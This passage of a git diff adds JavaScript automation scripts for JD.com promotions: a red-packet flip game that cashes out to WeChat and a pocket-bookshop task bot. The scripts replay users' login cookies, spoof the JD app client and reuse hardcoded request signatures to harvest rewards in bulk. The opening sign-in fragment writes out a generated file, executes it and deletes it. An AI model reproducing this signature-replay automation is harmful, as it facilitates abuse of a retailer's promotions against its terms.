writeFileSync('./sign.js', data, 'utf-8') + execSync('node ./sign.js >> ./sign.log') + data = readFileSync('./sign.log', 'utf-8') + data = data.match(/【.*/gm) + message += data.join('\n').replace(/红包/g, '红包\n\n') + unlinkSync('./sign.js') + unlinkSync('./sign.log') + } + await notify.sendNotify('京东多合一签到脚本 via NobyDa@Github', message) +} + +main().then() diff --git a/jd_big_winner.js b/jd_big_winner.js new file mode 100644 index 0000000000..094663c466 --- /dev/null +++ b/jd_big_winner.js @@ -0,0 +1,321 @@ +/* +省钱大赢家之翻翻乐 +一天可翻多次,但有上限 +运气好每次可得0.3元以上的微信现金(需京东账号绑定到微信) +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#省钱大赢家之翻翻乐 +20 * * * * jd_big_winner.js, tag=省钱大赢家之翻翻乐, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "20 * * * *" script-path=jd_big_winner.js,tag=省钱大赢家之翻翻乐 + +===================================Surge================================ +省钱大赢家之翻翻乐 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=jd_big_winner.js + +====================================小火箭============================= +省钱大赢家之翻翻乐 = type=cron,script-path=jd_big_winner.js, cronexpr="20 * * * *", timeout=3600, enable=true + */ +const $ = new Env('省钱大赢家之翻翻乐'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', linkId = 'PFbUR7wtwUcQ860Sn8WRfw', fflLinkId = 'YhCkrVusBVa_O2K-7xE6hA'; +const JD_API_HOST = 'https://api.m.jd.com/api'; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const len = cookiesArr.length; + +!(async () => { + $.redPacketId = [] + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < len; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await main() + } + } + if (message) { + $.msg($.name, '', message); + //if ($.isNode()) await notify.sendNotify($.name, message); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function main() { + try { + $.canApCashWithDraw = false; + $.changeReward = true; + $.canOpenRed = true; + await gambleHomePage(); + if (!$.time) { + console.log(`开始进行翻翻乐拿红包\n`) + await gambleOpenReward();//打开红包 + if ($.canOpenRed) { + while (!$.canApCashWithDraw && $.changeReward) { + await openRedReward(); + await $.wait(500); + } + if ($.canApCashWithDraw) { + //提现 + await openRedReward('gambleObtainReward', $.rewardData.rewardType); + await apCashWithDraw($.rewardData.id, $.rewardData.poolBaseId, $.rewardData.prizeGroupId, $.rewardData.prizeBaseId, $.rewardData.prizeType); + } + } + } + } catch (e) { + $.logErr(e) + } +} + + +//查询剩余多长时间可进行翻翻乐 +function gambleHomePage() { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + 'Cookie': cookie + } + const body = {'linkId': fflLinkId}; + const options = { + url: `https://api.m.jd.com/?functionId=gambleHomePage&body=${encodeURIComponent(JSON.stringify(body))}&appid=activities_platform&clientVersion=3.5.0`, + headers, + } + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data.data.leftTime === 0) { + $.time = data.data.leftTime; + } else { + $.time = (data.data.leftTime / (60 * 1000)).toFixed(2); + } + console.log(`\n查询下次翻翻乐剩余时间成功:\n京东账号【${$.UserName}】距开始剩 ${$.time} 分钟`); + } else { + console.log(`查询下次翻翻乐剩余时间失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//打开翻翻乐红包 +function gambleOpenReward() { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = {'linkId': fflLinkId}; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=gambleOpenReward&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + console.log(`翻翻乐打开红包 成功,获得:${data.data.rewardValue}元红包\n`); + } else { + console.log(`翻翻乐打开红包 失败:${JSON.stringify(data)}\n`); + if (data.code === 20007) { + $.canOpenRed = false; + console.log(`翻翻乐打开红包 失败,今日活动参与次数已达上限`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//翻倍红包 +function openRedReward(functionId = 'gambleChangeReward', type) { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = {'linkId': fflLinkId}; + if (type) body['rewardType'] = type; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`翻翻乐结果:${data}\n`); + data = JSON.parse(data); + if (data['code'] === 0) { + $.rewardData = data.data; + if (data.data.rewardState === 1) { + if (data.data.rewardValue >= 0.3) { + //已翻倍到0.3元,可以提现了 + $.canApCashWithDraw = true; + $.changeReward = false; + // message += `${data.data.rewardValue}元现金\n` + } + if (data.data.rewardType === 1) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元红包\n`); + } else if (data.data.rewardType === 2) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元现金\n`); + // $.canApCashWithDraw = true; + } else { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${JSON.stringify(data)}\n`); + } + } else if (data.data.rewardState === 3) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 失败,奖品溜走了/(ㄒoㄒ)/~~\n`); + $.changeReward = false; + } else { + if (type) { + console.log(`翻翻乐领取成功:${data.data.amount}现金\n`) + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${new Date().getHours()}点:${data.data.amount}现金\n`; + } else { + console.log(`翻翻乐 翻倍 成功,获得:${JSON.stringify(data)}\n`); + } + } + } else { + $.canApCashWithDraw = true; + $.changeReward = false; + console.log(`翻翻乐 翻倍 失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//翻翻乐提现 +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = { + "businessSource": "GAMBLE", + "base": { + id, + "business": "redEnvelopeDouble", + poolBaseId, + prizeGroupId, + prizeBaseId, + prizeType + }, + "linkId": fflLinkId + }; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=apCashWithDraw&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['status'] === '310') { + console.log(`翻翻乐提现 成功🎉,详情:${JSON.stringify(data)}\n`); + message += `提现至微信钱包成功🎉\n\n`; + } else { + console.log(`翻翻乐提现 失败,详情:${JSON.stringify(data)}\n`); + message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; + } + } else { + console.log(`翻翻乐提现 失败:${JSON.stringify(data)}\n`); + message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_bookshop.js b/jd_bookshop.js new file mode 100644 index 0000000000..8c6e86f312 --- /dev/null +++ b/jd_bookshop.js @@ -0,0 +1,678 @@ +/* +口袋书店 +活动入口:京东app首页-京东图书-右侧口袋书店 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#口袋书店 +1 8,12,18 * * * jd_bookshop.js, tag=口袋书店, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "1 8,12,18 * * *" script-path=jd_bookshop.js,tag=口袋书店 + +===============Surge================= +口袋书店 = type=cron,cronexp="1 8,12,18 * * *",wake-system=1,timeout=3600,script-path=jd_bookshop.js + +============小火箭========= +口袋书店 = type=cron,script-path=jd_bookshop.js, cronexpr="1 8,12,18 * * *", timeout=3600, enable=true + */ +const $ = new Env('口袋书店'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +const ACT_ID = 'dz2010100034444201', shareUuid = '' +let ADD_CART = false +ADD_CART = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : ADD_CART) : ($.getdata("ADD_CART") ? $.getdata("ADD_CART") : ADD_CART); +// 加入购物车开关,与东东小窝共享 + +let inviteCodes = [''] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + $.shareCodesArr = [] + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + $.exit = false; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await shareCodesFormat() + await jdBeauty() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdBeauty() { + $.score = 0 + await getIsvToken() + await getIsvToken2() + await getActCk() + await getActInfo() + await getToken() + await getUserInfo() + await getActContent(false, shareUuid) + if ($.exit) return + await doHelpList() + await getAllBook() + await getMyBook() + await getActContent(true) + if ($.gold > 800) { + console.log(`金币大于800,去抽奖`) + while ($.gold >= 800) { + await draw() + await $.wait(1000) + $.gold -= 800 + } + } + if ($.userInfo.storeGold) await chargeGold() + await helpFriends() + await showMsg(); +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + await getActContent(true, code) + await $.wait(500) + } +} + +// 获得IsvToken +function getIsvToken() { + return new Promise(resolve => { + let body = 'body=%7B%22to%22%3A%22https%3A%5C%2F%5C%2Flzdz-isv.isvjcloud.com%5C%2Fdingzhi%5C%2Fbook%5C%2Fdevelop%5C%2Factivity%3FactivityId%3Ddz2010100034444201%22%2C%22action%22%3A%22to%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&sign=f3eb9660e798c20372734baf63ab55f2&st=1610267023622&sv=111' + $.post(jdUrl('genToken', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data['tokenKey'] + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得对应游戏的访问Token +function getIsvToken2() { + return new Promise(resolve => { + let body = 'body=%7B%22url%22%3A%22https%3A%5C%2F%5C%2Flzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&sign=6050f8b81f4ba562b357e49762a8f4b0&st=1610267024346&sv=121' + $.post(jdUrl('isvObfuscator', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏的Cookie +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("dingzhi/book/develop/activity", `activityId=${ACT_ID}`), (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏信息 +function getActInfo() { + return new Promise(resolve => { + $.post(taskPostUrl('dz/common/getSimpleActInfoVo', `activityId=${ACT_ID}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result) { + $.shopId = data.data.shopId + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏的Token +function getToken() { + return new Promise(resolve => { + let body = `userId=${$.shopId}&token=${$.token2}&fromType=APP` + $.post(taskPostUrl('customer/getMyPing', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data.data.secretPin + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.token)}` + $.post(taskPostUrl('wxActionCommon/getUserInfo', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`用户【${data.data.nickname}】信息获取成功`) + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏信息 +function getActContent(info = false, shareUuid = '') { + return new Promise(resolve => { + let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.token)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${shareUuid}` + $.post(taskPostUrl('dingzhi/book/develop/activityContent', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data && safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + $.userInfo = data.data + if (!$.userInfo.bookStore) { + $.exit = true + console.log(`京东账号${$.index}尚未开启口袋书店,请手动开启`) + console.log('\n提示:从五月份开始,需要手动进入一下活动页面。不然即使是开启了这个活动。跑脚本也提示未开启活动\n') + return + } + $.actorUuid = $.userInfo.actorUuid + // if(!info) console.log(`您的好友助力码为${$.actorUuid}`) + if (!info) console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.actorUuid}\n`); + $.gold = $.userInfo.bookStore.hasStoreGold + if (!info) { + const tasks = data.data.settingVo + for (let task of tasks) { + if (['关注店铺'].includes(task.title)) { + if (task.okNum < task.dayMaxNum) { + console.log(`去做${task.title}任务`) + await doTask(task.settings[0].type, task.settings[0].value) + } + } else if (['逛会场', '浏览店铺', '浏览商品'].includes(task.title)) { + if (task.okNum < task.dayMaxNum) { + console.log(`去做${task.title}任务`) + for (let set of task.settings.filter(vo => vo.status === 0)) { + await doTask(set.type, set.value) + await $.wait(500) + } + } + } else if (task.title === '每日签到') { + const hour = new Date().getUTCHours() + 8 + if (8 <= hour && hour < 10 || 12 <= hour && hour < 14 || 18 <= hour && hour < 20) { + console.log(`去做${task.title}任务`) + for (let set of task.settings.filter(vo => vo.status === 0)) { + let res = await doTask(set.type, set.value) + if (res.result) break + await $.wait(500) + } + } + } else if (ADD_CART && ['加购商品'].includes(task.title)) { + if (task.okNum < task.dayMaxNum) { + console.log(`去做${task.title}任务`) + await doTask(task.settings[0].type, task.settings[0].value) + } + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doHelpList(taskType, value) { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&num=0&sortStatus=1` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/taskact/common/getDayShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`今日助力情况${data.data.length}/10`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +// 做任务 +function doTask(taskType, value) { + let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.token)}&actorUuid=${$.actorUuid}&taskType=${taskType}&taskValue=${value}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`任务完成成功,获得${data.data.addScore}积分`) + $.score += 